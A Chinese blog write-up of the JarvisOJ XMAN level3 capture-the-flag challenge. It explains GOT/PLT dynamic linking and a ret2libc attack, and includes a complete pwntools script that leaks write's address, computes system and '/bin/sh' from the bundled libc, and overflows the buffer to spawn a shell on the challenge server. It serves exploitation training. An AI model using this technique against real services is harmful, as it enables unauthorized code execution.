CTF

「JarvisOJ」XMANlevel3题解

Posted by 许大仙 on August 3, 2018

day4:XMANlevel3

一、GOT表和PLT表

GOT(Global Offset Table)和PLT(Procedure Linkage Table)是Linux系统下面ELF格式的可执行文件中,用于定位全局变量和函数[动态库的]的数据信息.[一开始把GOT表和GDT表看重了,实际上完全不同。GOT+PLT表的目的就是为了在运行时重定位。]

在ELF文件的动态连接机制中,每一个外部定义的符号在全局偏移表 (Global Offset Table,GOT)中有相应的条目,如果符号是函数则在过程连接表(Procedure Linkage Table,PLT)中也有相应的条目,且一个PLT条目对应一个GOT条目。

使用PLT和GOT表的目的就是为了能够动态获取动态链接库中所需函数的地址。如果一个代码调用了非本地的函数,那么就不能单纯靠重定位获得最终地址。因为动态库的加载顺序都不是一定的,无法固定每个动态库中的函数具体位置。因此需要动态获取.so文件的函数地址。

PLT[x]实际上是用于计算[链接器生成一段额外的小代码片段,通过这段代码获取比如printf这样动态库中函数的地址,并完成对它的调用],GOT用于存储外部函数的具体地址。

PLT,GOT表的大致原理

利用objdump -h 可执行文件名得到ELF文件的各个节信息。PLT表/节属于代码段,GOT表/节属于数据段

在一些pwn题中,泄漏出的函数地址放在是got表中。为了泄漏这些真正的地址,往往会用到read,write,put等函数,通过已知同时存在于GOT和libc的函数地址,可以得出偏移量,接着就能通过偏移量找到system函数的真正地址,从而进行ret2lib操作[具体在下述实例中演示]。

PLT[0]是一个函数,这个函数的作用是通过GOT[0],GOT[1]和GOT[2]来正确绑定一个函数的真实地址到GOT表中来。而plt[0]代码做的事情则是:由于GOT[2]中存储的是动态链接器的入口地址,所以通过GOT[1]、GOT[0]中的数据作为参数,跳转到GOT[2]所对应的函数入口地址[即动态链接器],这个动态链接器会将一个函数的真正地址绑定到相应的GOT[x]中。

一般是从GOT[3],开始因为如上所述GOT[0],GOT[1]和GOT[2]有额外用途。中间进行的压栈是为了确定PLT对应的GOT表项,比如push 0x3即是PLT[1]−>GOT[3]. 压栈后我们跳转到PLT[0],接着PLT[0]中的指令会通过这次压栈的序号来确定操作的GOT表项为多少

PLT/GOT表的两次解析

解析PLT/GOT表的两次解析:https://www.jianshu.com/p/0ac63c3744dd

深入:http://www.360doc.com/content/14/1111/15/19184777_424304443.shtml http://www.360doc.com/content/14/1111/15/19184777_424303666.shtml

解题思路

checksec查看栈保护机制开启情况

老样子,用checksec查看,和XMAN level2一样,开启了栈不可执行,但是没有开始栈随机化,故可以使用ret2libc技术。

用IDA查看,可以确定通过read函数输入buf进行溢出,但是并没有看到合适的目标函数。与level2相比,在level3的ELF程序中不在出现system和bin/sh。

没有合适产生shell的函数

但是level3中还提供了libc-2.19.so的动态链接库文件,默认情况下,程序都会自动引入这个库中的函数。用ida对.so文件进行反汇编,可以看到system函数和“/bin/sh”字符串都存在

找到可产生shell的函数

于是思路:通过read(0,&buf,0x100)[其中0表示标准输入/键盘输入,如果是1则表示标准输出,2表示标准错误输出],栈溢出ret到system函数,利用参数”/bin/sh”产生shell。

构造栈帧

但是问题在于system的地址如何知道呢?

通过libc.so文件可以得到write、system和/bin/sh的相对.so基址的偏移量

设函数func在内存中地址为func_addr,在libc中偏移为func_libc则有

 sys_addr - sys_libc == write_addr - write_libc

所以我们可以通过泄露write函数的地址write_addr,利用两函数在内存中的地址和libc文件中的偏移的差相等,获得system的地址

sys_addr == write_addr + sys_libc - write_libc = write_addr +△ _ libc

构造两次溢出

要利用偏移相等获得system和bin的地址,首先要泄露得到write的真实地址,可以通过打印write在got表中的地址,获取其真实地址。

那么第一次溢出,就是调用write函数[利用write函数写的功能],打印出write_got[write函数的真实地址]。

利用sysaddr = writeaddr - writelibc + syslibc 以及binaddr = writeaddr - writelibc + binlibc得到system函数和”/bin/sh”的真实地址

第二次溢出,就是再次调用vuln_addr,产生一段缓冲区,提供read栈溢出漏洞,利用system函数和”/bin/sh”产生shell。得到flag。


1.输出write的真实地址——write(1,write_got,4字节)

在栈溢出到write函数[利用write_plt间接调用write]打印GOT表中的write真实地址,提供”1,write_got,4”这些产生,1表示标准输出到屏幕,write_got表示GOT表中write地址存储的位置指针,4表示4字节打印长度,write的真实地址4字节大小。 【由于在此前已经调用过vulnerable_function中的write函数,那么PLT_GOT表+动态链接器已经得到了write函数的真实地址,并且存储在GOT表中。所以GOT[x]已更新,不再是对应PLT[x]】

获取write函数的真实地址

当write成功调用后退栈时,将ebp+4作为返回地址,这里应当填充vulnerable_function函数的地址,二次溢出,利用read函数的栈溢出漏洞,跳转到system函数+”/bin/sh”产生shell[由于vulnerable_function函数不需要参数,故不会覆盖第一次溢出的参数]。

最终构造的栈帧图为: [溢出write函数打印write_got+再返回到vuln函数再次执行read,实现二次溢出到system,最终获取shell]

解题步骤

#!usr/bin/env python
# encoding:utf-8
from pwn import *

#io = process("./level3")
io = remote("pwn2.jarvisoj.com",9879)
elf = ELF("./level3")  #获取ELF文件头

writeplt = elf.plt["write"]    #plt和got节同.text节一样在ELF程序中都有标识
writegot = elf.got["write"]   #得到write函数在GOT表和PLT表中的位置指针
func = elf.symbols["vulnerable_function"] #在符号表中得到vulnerable_function的真实地址

libc = ELF("./libc-2.19.so")  
writelibc = libc.symbols["write"]    #libc的符号表中找到程序中有的/没有的函数的偏移地址
syslibc = libc.symbols["system"] 
binlibc = libc.search("/bin/sh").next() #"/bin/sh"的偏移量

payload1 = 'a' * 0x88 + 'f**k' + p32(writeplt) + p32(func) + p32(1)+p32(writegot)+p32(4)  #溢出地址+返回地址+参数

io.recvuntil("Input:\n")
io.sendline(payload1)

writeaddr = u32(io.recv(4))    #收到终端/屏幕输出的write真实地址[4字节]。由于python没有指针,不能*write_got,需要将其输出并保存
sysaddr = writeaddr - writelibc + syslibc    #利用偏移量相等获得其真实地址
binaddr = writeaddr - writelibc + binlibc

payload2 = 'a' * 0x88 + 'f**k' + p32(sysaddr) + p32(func) + p32(binaddr)  #二次溢出,还是有0x88+0x4的缓冲区
io.recvuntil("Input:\n")
io.sendline(payload2)
io.interactive()
io.close()

攻击过程结果

补充

libc中的文件IO函数

基于文件描述符的I/O函数有:open, close, read, write, getc, getchar, putc, putchar等。他们属于系统调用,更接近于硬件,属于非缓冲文件系统的IO函数。

非缓冲文件系统依赖于操作系统,通过操作系统的功能对文件进行读写,是系统级的输入输出,它不设文件结构体指针,只能读写二进制文件[而文本文件不行],(对于UNIX系统内核而言,文本文件和二进制代码文件并无区别),但效率高、速度快。由于ANSI标准不再包括非缓冲文件系统,因此,在读取正规的文件时,建议大家最好不要选择它。

基于文件指针的I/O函数有:fopen,fclose,fread,fwrite,fgetc,fgets,fputc,fputs,freopen,fseek,ftell,rewind, fprintf等。他们属于库函数,是对open,write等系统调用的封装,属于缓冲文件系统的I/O函数。

缓冲文件系统是借助于文件结构体指针FILE*来对文件进行管理, 通过文件指针对文件进行访问,即可以读写字符、字符串、格式化数据,也可以读写二进制数据。